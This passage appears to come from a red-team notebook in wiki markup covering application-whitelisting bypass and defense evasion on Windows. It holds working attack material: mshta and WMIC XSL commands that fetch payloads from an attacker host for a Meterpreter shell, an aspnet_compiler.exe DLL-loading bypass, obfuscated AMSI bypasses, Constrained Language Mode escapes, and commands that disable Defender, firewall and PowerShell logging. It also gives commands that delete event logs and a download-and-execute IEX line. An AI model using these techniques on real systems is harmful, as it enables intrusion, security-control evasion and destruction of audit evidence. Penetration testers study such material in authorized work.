    var o = d.DynamicInvoke(al.ToArray()).CreateInstance(entry_class);&lt;br /&gt;
} catch (e) {&lt;br /&gt;
    debug(e.message);&lt;br /&gt;
}&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
        self.close();&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Step 4 - Host this on your Kali using apache2 or python.&lt;br /&gt;
&lt;br /&gt;
Step 5 - On target there are a couple of ways to execute it. Either using shortcut as you see below.&lt;br /&gt;
&lt;br /&gt;
Or using the command:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
C:\windows\system32\mshta.exe http://kali-ip/index.hta&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
or visiting the website using Internet Explorer. Using another browser will end up downloading the &amp;lt;code&amp;gt;.hta&amp;lt;/code&amp;gt; file and not executing it.&lt;br /&gt;
&lt;br /&gt;
[[File:2023-09-image-6.png|thumb]]&lt;br /&gt;
&lt;br /&gt;
=== XLS Transform ===&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Purpose&#039;&#039;&#039;: Bypassing application whitelisting, such as AppLocker, to achieve arbitrary Jscript execution using XSL transformation.&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Known As&#039;&#039;&#039;: Squiblytwo attack (see [https://attack.mitre.org/techniques/T1220/ Mitre T1220]).&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Basic Principle&#039;&#039;&#039;: XSLT uses  ​.xsl​  documents to transform an XML document into different formats like XHTML. It allows execution of embedded Jscript code when processing an XML document.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Step 1 - Craft a Malicious XSL Document&#039;&#039;&#039;:&lt;br /&gt;
&lt;br /&gt;
* Create a malicious XSL file containing the Jscript payload you want to execute.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;xml&amp;quot;&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Note&#039;&#039;&#039;: This XSL file will open  ​cmd.exe​  when triggered.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Step 2 - Host the Malicious XSL Document&#039;&#039;&#039;:&lt;br /&gt;
&lt;br /&gt;
* Host the file on an Apache webserver or Python HTTP server.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Step 3 - Trigger the Payload&#039;&#039;&#039;:&lt;br /&gt;
&lt;br /&gt;
* Use WMIC (Windows Management Instrumentation Command-line) to trigger the Jscript code in the XSL file.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
wmic process get brief /format:&amp;quot;http://192.168.119.120/test.xsl&amp;quot;&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* A new command prompt should open.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Getting Meterpreter shell &#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Step 1 - Edit the &amp;lt;code&amp;gt;.xsl&amp;lt;/code&amp;gt; file &#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
Between these lines you can add your jscript code thats outputted from DotNetToJscript. Use ProcessHollowing with XOR for low detection rate&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;xml&amp;quot;&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
The entire code will look like this.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;xml&amp;quot;&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Step 3 - Host the &amp;lt;code&amp;gt;.xsl&amp;lt;/code&amp;gt; on your kali and run the follow command on target&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
wmic process get brief /format:&amp;quot;http://192.168.119.120/test.xsl&amp;quot;&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
[[File:2023-09-image-8.png|thumb]]&lt;br /&gt;
&lt;br /&gt;
== AppLocker bypass using Aspnet_Compiler.exe == &lt;br /&gt;
&lt;br /&gt;
This technique abuses &#039;&#039;&#039;aspnet_compiler.exe&#039;&#039;&#039;. This is a legimate Microsoft-signed binary shipped with the .NET framework to load and execute a custom DLL. Since the binary is trusted and signed by Microsoft, it can bypass some application whitelisting controls. &lt;br /&gt;
&lt;br /&gt;
The full path for the binary is: &lt;br /&gt;
&lt;br /&gt;
&amp;lt;code&amp;gt;C:\Windows\Microsoft.NET\Framework64\v4.0.30319\aspnet_compiler.exe&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;code&amp;gt;aspnet_compiler.exe&amp;lt;/code&amp;gt; is the ASP.NET pre-compilation tool. Its legitimate purpose is to compile ASP.NET web applications ahead of deployment.&lt;br /&gt;
&lt;br /&gt;
To perform this attack, we need to create a directory that mimicks a minimal ASP.NET web app.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
asptest\&lt;br /&gt;
├── web.config&lt;br /&gt;
├── App_Code\&lt;br /&gt;
│   └── dancingdogs.agh        &amp;lt;- this is the trigger file. the extenion is arbitrary.&lt;br /&gt;
└── bin\&lt;br /&gt;
    └── BringYourOwnBuilder.dll   &amp;lt;- this is your malicious dll &lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
The &amp;lt;code&amp;gt;web.config&amp;lt;/code&amp;gt; file maps a custom extension to the malicous DLL class. &lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;xml&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;configuration&amp;gt;&lt;br /&gt;
  &amp;lt;system.web&amp;gt;&lt;br /&gt;
    &amp;lt;compilation&amp;gt;&lt;br /&gt;
      &amp;lt;buildProviders&amp;gt;&lt;br /&gt;
        &amp;lt;add extension=&amp;quot;.agh&amp;quot; type=&amp;quot;BringYourOwnBuilder.BringYourOwnBuilder&amp;quot; /&amp;gt;&lt;br /&gt;
      &amp;lt;/buildProviders&amp;gt;&lt;br /&gt;
    &amp;lt;/compilation&amp;gt;&lt;br /&gt;
  &amp;lt;/system.web&amp;gt;&lt;br /&gt;
&amp;lt;/configuration&amp;gt;&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
The config above just tells &amp;lt;code&amp;gt;aspnet_compiler.exe&amp;lt;/code&amp;gt;: When you encounter a &amp;lt;code&amp;gt;.agh&amp;lt;/code&amp;gt; file, use the &amp;lt;code&amp;gt;BringYourOwnBulder&amp;lt;/code&amp;gt; from &amp;lt;code&amp;gt;BringYourOwnBuilder.dll&amp;lt;/code&amp;gt; to compile it. &lt;br /&gt;
&lt;br /&gt;
Place a file with the matcing extension inside the folder &amp;lt;code&amp;gt;App_Code&amp;lt;/code&amp;gt;. &lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
App_Code\dancingdogs.agh&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Now we create a C# clasw library that inherits from &amp;lt;code&amp;gt;System.Web.Compilation.BuildProvider&amp;lt;/code&amp;gt; and ovverides the code &amp;lt;code&amp;gt;GenerateCode&amp;lt;/code&amp;gt; method. Any code that is placed in the &amp;lt;code&amp;gt;GenerateCode&amp;lt;/code&amp;gt; executes when the compiler processes the trigger file.&lt;br /&gt;
&lt;br /&gt;
Super simple PoC:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;csharp&amp;quot;&amp;gt;&lt;br /&gt;
using System.Web.Compilation;&lt;br /&gt;
using System.CodeDom;&lt;br /&gt;
using System.Windows.Forms;&lt;br /&gt;
&lt;br /&gt;
namespace BringYourOwnBuilder&lt;br /&gt;
{&lt;br /&gt;
    public class BringYourOwnBuilder : BuildProvider&lt;br /&gt;
    {&lt;br /&gt;
        public override void GenerateCode(AssemblyBuilder ab)&lt;br /&gt;
        {&lt;br /&gt;
            MessageBox.Show(&amp;quot;code execution&amp;quot;);&lt;br /&gt;
        }&lt;br /&gt;
    }&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Place the compiled &amp;lt;code&amp;gt;BringYourOwnBuilder&amp;lt;/code&amp;gt; and place it in the &amp;lt;code&amp;gt;bin\&amp;lt;/code&amp;gt; folder. &lt;br /&gt;
&lt;br /&gt;
Now run the following command to invoke aspnet_compiler.exe, which in turn will execute your dll and a messagebox with &amp;quot;code execution&amp;quot; will pop up.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
aspnet_compiler.exe  (Microsoft-signed, trusted)&lt;br /&gt;
        │&lt;br /&gt;
        └── reads web.config&lt;br /&gt;
                │&lt;br /&gt;
                └── &amp;lt;buildProviders&amp;gt; -&amp;gt; loads BringYourOwnBuilder.dll&lt;br /&gt;
                            │&lt;br /&gt;
                            └── GenerateCode() -&amp;gt; payload executes&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\aspnet_compiler.exe -v none -p C:\users\agh\desktop\asptest\ -f C:\users\agh\desktop\asptest\none -u&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
The DLL is loaded by &amp;lt;code&amp;gt;aspnet_compiler.exe&amp;lt;/code&amp;gt;, so all code runs inside a trusted process. &lt;br /&gt;
&lt;br /&gt;
Source: https://ijustwannared.team/2020/08/01/the-curious-case-of-aspnet_compiler-exe/&lt;br /&gt;
&lt;br /&gt;
== AV Evasion - General ==&lt;br /&gt;
&lt;br /&gt;
https://book.ghanim.no/?p=2698#General_AV_Evasion_cheatsheet&lt;br /&gt;
&lt;br /&gt;
=== Check AV – Running, Exclusion, Disable ===&lt;br /&gt;
&lt;br /&gt;
* Check if Windows Defender is running: &amp;lt;code&amp;gt;Get-MpComputerStatus | Select RealTimeProtectionEnabled&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* Get info about Windows Defender: &amp;lt;code&amp;gt;Get-MpPreference&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* Find excluded folders from Windows Defender: &amp;lt;code&amp;gt;Get-MpPreference | select Exclusion*&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* Create exclusion: &amp;lt;code&amp;gt;Set-MpPreference -ExclusionPath &amp;quot;&amp;lt;path&amp;gt;&amp;quot;&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* Check AV detections: &amp;lt;code&amp;gt;Get-MpThreatDetection | Sort-Object -Property InitialDetectionTime&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* Get last AV detection: &amp;lt;code&amp;gt;Get-MpThreatDetection | Sort-Object -Property InitialDetectionTime | Select-Object -First 1&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* Disable AV monitoring: &amp;lt;code&amp;gt;Set-MpPreference -DisableRealtimeMonitoring $true; Set-MpPReference -DisableIOAVProtection $true&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* Enumerate ASR rules: https://github.com/directorcia/Office365/blob/master/win10-asr-get.ps1&lt;br /&gt;
&lt;br /&gt;
* Enumerate AV / EDR: https://github.com/tothi/serviceDetector&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;csharp&amp;quot;&amp;gt;&lt;br /&gt;
// What AV is running on the system&lt;br /&gt;
// Importing necessary namespaces&lt;br /&gt;
using System;&lt;br /&gt;
using System.Management;&lt;br /&gt;
internal class Program&lt;br /&gt;
{&lt;br /&gt;
    static void Main(string[] args)&lt;br /&gt;
    {&lt;br /&gt;
        var status = false; // Variable to track the presence of antivirus software&lt;br /&gt;
        Console.WriteLine(&amp;quot;[+] Antivirus check is running .. &amp;quot;);&lt;br /&gt;
        // Array of antivirus processes to check for&lt;br /&gt;
        string[] AV_Check = {&lt;br /&gt;
            &amp;quot;MsMpEng.exe&amp;quot;, &amp;quot;AdAwareService.exe&amp;quot;, &amp;quot;afwServ.exe&amp;quot;, &amp;quot;avguard.exe&amp;quot;, &amp;quot;AVGSvc.exe&amp;quot;,&lt;br /&gt;
            &amp;quot;bdagent.exe&amp;quot;, &amp;quot;BullGuardCore.exe&amp;quot;, &amp;quot;ekrn.exe&amp;quot;, &amp;quot;fshoster32.exe&amp;quot;, &amp;quot;GDScan.exe&amp;quot;,&lt;br /&gt;
            &amp;quot;avp.exe&amp;quot;, &amp;quot;K7CrvSvc.exe&amp;quot;, &amp;quot;McAPExe.exe&amp;quot;, &amp;quot;NortonSecurity.exe&amp;quot;, &amp;quot;PavFnSvr.exe&amp;quot;,&lt;br /&gt;
            &amp;quot;SavService.exe&amp;quot;, &amp;quot;EnterpriseService.exe&amp;quot;, &amp;quot;WRSA.exe&amp;quot;, &amp;quot;ZAPrivacyService.exe&amp;quot;&lt;br /&gt;
        };&lt;br /&gt;
        // Creating a ManagementObjectSearcher to query Windows processes&lt;br /&gt;
        var searcher = new ManagementObjectSearcher(&amp;quot;select * from win32_process&amp;quot;);&lt;br /&gt;
        var processList = searcher.Get(); // Retrieving the list of processes&lt;br /&gt;
        int i = 0;&lt;br /&gt;
        foreach (var process in processList)&lt;br /&gt;
        {&lt;br /&gt;
            // Checking if the process is one of the antivirus processes&lt;br /&gt;
            int _index = Array.IndexOf(AV_Check, process[&amp;quot;Name&amp;quot;].ToString());&lt;br /&gt;
            if (_index &amp;gt; -1)&lt;br /&gt;
            {&lt;br /&gt;
                // Antivirus process found&lt;br /&gt;
                Console.WriteLine(&amp;quot;--AV Found: {0}&amp;quot;, process[&amp;quot;Name&amp;quot;].ToString());&lt;br /&gt;
                status = true;&lt;br /&gt;
            }&lt;br /&gt;
            i++;&lt;br /&gt;
        }&lt;br /&gt;
        // Checking the status variable to determine if antivirus software was found or not&lt;br /&gt;
        if (!status)&lt;br /&gt;
        {&lt;br /&gt;
            Console.WriteLine(&amp;quot;--AV software is not found!&amp;quot;);&lt;br /&gt;
        }&lt;br /&gt;
    }&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Windows Firewall ===&lt;br /&gt;
&lt;br /&gt;
* Get state: &amp;lt;code&amp;gt;Get-NetFirewallProfile -PolicyStore ActiveStore&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* Get rules: &amp;lt;code&amp;gt;Get-netfirewallrule | format-table name,displaygroup,action,direction,enabled -autosize&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* Disable firewall: &amp;lt;code&amp;gt;Set-NetFirewallProfile -Profile Domain,Public,Private -Enabled False&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* Enable firewall: &amp;lt;code&amp;gt;Set-NetFirewallProfile -Profile Domain,Public,Private -Enabled True&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* Change default policy: &amp;lt;code&amp;gt;Set-NetFirewallProfile -DefaultInboundAction Block -DefaultOutboundAction Allow&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* Open port on firewall: &amp;lt;code&amp;gt;netsh advfirewall firewall add rule name=&amp;quot;Allow port&amp;quot; dir=in action=allow protocol=TCP localport=&amp;lt;PORT&amp;gt;&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* Remove firewall rule: &amp;lt;code&amp;gt;Remove-NetFirewallRule -DisplayName &amp;quot;Allow port&amp;quot;&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Powershell – ASMI bypass methods, Disable AV, etc ===&lt;br /&gt;
&lt;br /&gt;
[https://amsi.fail/ AMSI.fail]&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
[Ref].Assembly.GetType(&#039;System.Management.Automation.AmsiUtils&#039;).GetField(&#039;amsiInitFai&lt;br /&gt;
led&#039;,&#039;NonPublic,Static&#039;).SetValue($null,$true)&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== AMSI Bypass ====&lt;br /&gt;
&lt;br /&gt;
* Start 64 bit powershell: &amp;lt;code&amp;gt;%SystemRoot%\sysnative\WindowsPowerShell\v1.0\powershell.exe&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* Change execution policy: &amp;lt;code&amp;gt;Set-ExecutionPolicy Bypass&amp;lt;/code&amp;gt; or &amp;lt;code&amp;gt;-ExecutionPolicy Bypass&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* Bypass AMSI (AntiMalware Scan Interface): Use one of the following single-line or multi-line bypasses:&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;If patched, just change up the strings/variables.&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
Single-line bypasses:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;powershell&amp;quot;&amp;gt;&lt;br /&gt;
$A=\&amp;quot;5492868772801748688168747280728187173688878280688776\&amp;quot; $B=\&amp;quot;8281173680867656877679866880867644817687416876797271\&amp;quot; function C ($n, $m) {  [string] ($n..$m|% { [char] [int] (29+ ($A+$B).  substring ( ($_*2),2))})-replace \&amp;quot; \&amp;quot;} $k=C 0 37; $r=C 38 51 $a= [Ref].Assembly.GetType ($k) $a.GetField ($r,&#039;NonPublic,Static&#039;).SetValue ($null,$true)&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Multi-line bypass:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;powershell&amp;quot;&amp;gt;&lt;br /&gt;
$a = &#039;System.Management.Automation.A&#039;;$b = &#039;ms&#039;;$u = &#039;Utils&#039;&lt;br /&gt;
$assembly = [Ref].Assembly.GetType ( (&#039; {0} {1}i {2}&#039; -f $a,$b,$u))&lt;br /&gt;
$field = $assembly.GetField ( (&#039;a {0}iInitFailed&#039; -f $b),&#039;NonPublic,Static&#039;)&lt;br /&gt;
$field.SetValue ($null,$true)&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Single-line bypasses:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;powershell&amp;quot;&amp;gt;&lt;br /&gt;
S`eT-It`em ( &#039;V&#039;+&#039;aR&#039; +  &#039;IA&#039; + (&#039;blE:1&#039;+&#039;q2&#039;)  + (&#039;uZ&#039;+&#039;x&#039;)  ) ( [TYpE](  &amp;quot;{1}{0}&amp;quot;-F&#039;F&#039;,&#039;rE&#039;  ) )  ;    (    Get-varI`A`BLE  ( (&#039;1Q&#039;+&#039;2U&#039;)  +&#039;zX&#039;  )  -VaL  ).&amp;quot;A`ss`Embly&amp;quot;.&amp;quot;GET`TY`Pe&amp;quot;((  &amp;quot;{6}{3}{1}{4}{2}{0}{5}&amp;quot; -f(&#039;Uti&#039;+&#039;l&#039;),&#039;A&#039;,(&#039;Am&#039;+&#039;si&#039;),(&#039;.Man&#039;+&#039;age&#039;+&#039;men&#039;+&#039;t.&#039;),(&#039;u&#039;+&#039;to&#039;+&#039;mation.&#039;),&#039;s&#039;,(&#039;Syst&#039;+&#039;em&#039;)  ) ).&amp;quot;g`etf`iElD&amp;quot;(  ( &amp;quot;{0}{2}{1}&amp;quot; -f(&#039;a&#039;+&#039;msi&#039;),&#039;d&#039;,(&#039;I&#039;+&#039;nitF&#039;+&#039;aile&#039;)  ),(  &amp;quot;{2}{4}{0}{1}{3}&amp;quot; -f (&#039;S&#039;+&#039;tat&#039;),&#039;i&#039;,(&#039;Non&#039;+&#039;Publ&#039;+&#039;i&#039;),&#039;c&#039;,&#039;c,&#039;  )).&amp;quot;sE`T`VaLUE&amp;quot;(  ${n`ULl},${t`RuE} )&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Credit: [https://buaq.net/go-98295.html https://buaq.net/go-98295.html]&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;powershell&amp;quot;&amp;gt;&lt;br /&gt;
[Ref].Assembly.GetType(&#039;System.Management.Automation.&#039;+$(&amp;quot;41 6D 73 69 55 74 69 6C 73&amp;quot;.Split(&amp;quot; &amp;quot;)|forEach{[char]([convert]::toint16($_,16))}|forEach{$result=$result+$_};$result)).GetField($(&amp;quot;61 6D 73 69 49 6E 69 74 46 61 69 6C 65 64&amp;quot;.Split(&amp;quot; &amp;quot;)|forEach{[char]([convert]::toint16($_,16))}|forEach{$result2=$result2+$_};$result2),&#039;NonPublic,Static&#039;).SetValue($null,$true)&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Credit: [https://s3cur3th1ssh1t.github.io/Bypass_AMSI_by_manual_modification https://s3cur3th1ssh1t.github.io/Bypass_AMSI_by_manual_modification] (however, I think it’s originally from Matt Graeber)&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;powershell&amp;quot;&amp;gt;&lt;br /&gt;
[Runtime.InteropServices.Marshal]::WriteInt32([Ref].Assembly.GetType((&amp;quot;{5}{2}{0}{1}{3}{6}{4}&amp;quot; -f &#039;ut&#039;,(&#039;oma&#039;+&#039;t&#039;+&#039;ion.&#039;),&#039;.A&#039;,(&#039;Ams&#039;+&#039;iUt&#039;),&#039;ls&#039;,(&#039;S&#039;+&#039;ystem.&#039;+&#039;Manage&#039;+&#039;men&#039;+&#039;t&#039;),&#039;i&#039;)).GetField((&amp;quot;{1}{2}{0}&amp;quot; -f (&#039;Co&#039;+&#039;n&#039;+&#039;text&#039;),(&#039;am&#039;+&#039;s&#039;),&#039;i&#039;),[Reflection.BindingFlags](&amp;quot;{4}{2}{3}{0}{1}&amp;quot; -f(&#039;b&#039;+&#039;lic,Sta&#039;+&#039;ti&#039;),&#039;c&#039;,&#039;P&#039;,&#039;u&#039;,(&#039;N&#039;+&#039;on&#039;))).GetValue($null),0x41414141)&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Credit: [https://www.trendmicro.com/en_us/research/22/l/detecting-windows-amsi-bypass-techniques.html https://www.trendmicro.com/en_us/research/22/l/detecting-windows-amsi-bypass-techniques.html]&lt;br /&gt;
&lt;br /&gt;
==== Bypass CLM (Constrained Language Mode) ====&lt;br /&gt;
&lt;br /&gt;
Escapes for Constrained Language Mode:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;powershell&amp;quot;&amp;gt;&lt;br /&gt;
# Escape 1&lt;br /&gt;
$ExecutionContext.SessionState.LanguageMode&lt;br /&gt;
[Runspace]::DefaultRunspace.InitialSessionState.LanguageMode&lt;br /&gt;
[Runspace]::DefaultRunspace.SessionStateProxy.LanguageMode&lt;br /&gt;
# Escape 2&lt;br /&gt;
$ExecutionContext.SessionState.LanguageMode = &amp;quot;FullLanguage&amp;quot;&lt;br /&gt;
[Runspace]::DefaultRunspace.InitialSessionState.LanguageMode = &amp;quot;FullLanguage&amp;quot;&lt;br /&gt;
[Runspace]::DefaultRunspace.SessionStateProxy.LanguageMode = &amp;quot;FullLanguage&amp;quot;&lt;br /&gt;
# Escape 3&lt;br /&gt;
$ExecutionContext.SessionState.LanguageMode&lt;br /&gt;
$ExecutionContext.SessionState.GetType().GetField(&#039;languageMode&#039;,&#039;NonPublic,Instance&#039;).SetValue($ExecutionContext.SessionState,[System.Management.Automation.PSLanguageMode]::FullLanguage)&lt;br /&gt;
$ExecutionContext.SessionState.LanguageMode&lt;br /&gt;
# Escape 4&lt;br /&gt;
$ExecutionContext.SessionState.LanguageMode&lt;br /&gt;
$ExecutionContext.SessionState.GetType().GetField(&#039;languageMode&#039;,&#039;NonPublic,Instance&#039;).SetValue($ExecutionContext.SessionState,1)&lt;br /&gt;
$ExecutionContext.SessionState.LanguageMode&lt;br /&gt;
# Escape 5&lt;br /&gt;
$ExecutionContext.SessionState.LanguageMode&lt;br /&gt;
[Ref].Assembly.GetType(&#039;System.Management.Automation.Utils&#039;).GetField(&#039;cachedLanguageMode&#039;,&#039;NonPublic,Static&#039;).SetValue($null,[System.Management.Automation.PSLanguageMode]::FullLanguage)&lt;br /&gt;
$ExecutionContext.SessionState.LanguageMode&lt;br /&gt;
# Escape 6&lt;br /&gt;
$ExecutionContext.SessionState.LanguageMode&lt;br /&gt;
[Ref].Assembly.GetType(&#039;System.Management.Automation.Utils&#039;).GetField(&#039;cachedLanguageMode&#039;,&#039;NonPublic,Static&#039;).SetValue($null,1)&lt;br /&gt;
$ExecutionContext.SessionState.LanguageMode&lt;br /&gt;
# Escape 7&lt;br /&gt;
$ExecutionContext.SessionState.LanguageMode&lt;br /&gt;
[Ref].Assembly.GetType(&#039;System.Management.Automation.ScriptBlock&#039;).GetField(&#039;signatures&#039;,&#039;NonPublic,Static&#039;).SetValue($null,(New-Object &#039;Collections.Generic.List[string]&#039;))&lt;br /&gt;
[Ref].Assembly.GetType(&#039;System.Management.Automation.ScriptBlock&#039;).GetField(&#039;optimizedAstCache&#039;,&#039;NonPublic,Static&#039;).SetValue($null,(New-Object &#039;Collections.Generic.Dictionary[string,System.Management.Automation.Ast]&#039;))&lt;br /&gt;
[Ref].Assembly.GetType(&#039;System.Management.Automation.CompiledScriptBlockData&#039;).GetField(&#039;allowedVariables&#039;,&#039;NonPublic,Static&#039;).SetValue($null,(New-Object &#039;Collections.Generic.HashSet[string]&#039;))&lt;br /&gt;
[Ref].Assembly.GetType(&#039;System.Management.Automation.CompiledScriptBlockData&#039;).GetField(&#039;allowedCommands&#039;,&#039;NonPublic,Static&#039;).SetValue($null,(New-Object &#039;Collections.Generic.HashSet[string]&#039;))&lt;br /&gt;
[Ref].Assembly.GetType(&#039;System.Management.Automation.CompiledScriptBlockData&#039;).GetField(&#039;allowedVariables&#039;,&#039;NonPublic,Static&#039;).Add(&#039;*&#039;)&lt;br /&gt;
[Ref].Assembly.GetType(&#039;System.Management.Automation.CompiledScriptBlockData&#039;).GetField(&#039;allowedCommands&#039;,&#039;NonPublic,Static&#039;).Add(&#039;*&#039;)&lt;br /&gt;
$ExecutionContext.SessionState.LanguageMode&lt;br /&gt;
# Escape 8&lt;br /&gt;
function Invoke-Expression {param([string]$Command); [ScriptBlock]::Create($Command).Invoke()}&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== Bypass logging ====&lt;br /&gt;
&lt;br /&gt;
Logging evasion techniques:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;powershell&amp;quot;&amp;gt;&lt;br /&gt;
# Technique 1: Disable Script Block Logging and Module Logging&lt;br /&gt;
Set-ItemProperty -Path HKLM:\SOFTWARE\Wow6432Node\Policies\Microsoft\Windows\PowerShell\ScriptBlockLogging -Name EnableScriptBlockLogging -Value 0 -Force&lt;br /&gt;
Set-ItemProperty -Path HKLM:\SOFTWARE\Wow6432Node\Policies\Microsoft\Windows\PowerShell\ModuleLogging -Name EnableModuleLogging -Value 0 -Force&lt;br /&gt;
# Technique 2: Disable Transcription Logging and Module Logging&lt;br /&gt;
Set-ItemProperty -Path HKLM:\SOFTWARE\Policies\Microsoft\Windows\PowerShell\Transcription -Name EnableTranscripting -Value 0 -Force&lt;br /&gt;
Set-ItemProperty -Path HKLM:\SOFTWARE\Policies\Microsoft\Windows\PowerShell\ModuleLogging -Name EnableModuleLogging -Value 0 -Force&lt;br /&gt;
# Technique 3: Delete the log files from the system (requires admin privileges)&lt;br /&gt;
Remove-Item C:\Windows\System32\winevt\Logs\Microsoft-Windows-PowerShell%4Operational.evtx -Force&lt;br /&gt;
Remove-Item C:\Windows\System32\winevt\Logs\Microsoft-Windows-PowerShell%4Admin.evtx -Force&lt;br /&gt;
# Technique 4: Use Invoke-Expression to bypass Script Block Logging and Module Logging (requires PowerShell v5 or higher)&lt;br /&gt;
Invoke-Expression &amp;quot;IEX (New-Object Net.WebClient).DownloadString(&#039;http://example.com/payload.ps1&#039;)&amp;quot;&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== Disable MS Defender (Require elevation) ====&lt;br /&gt;
&lt;br /&gt;
Turning off Windows Defender: &lt;br /&gt;
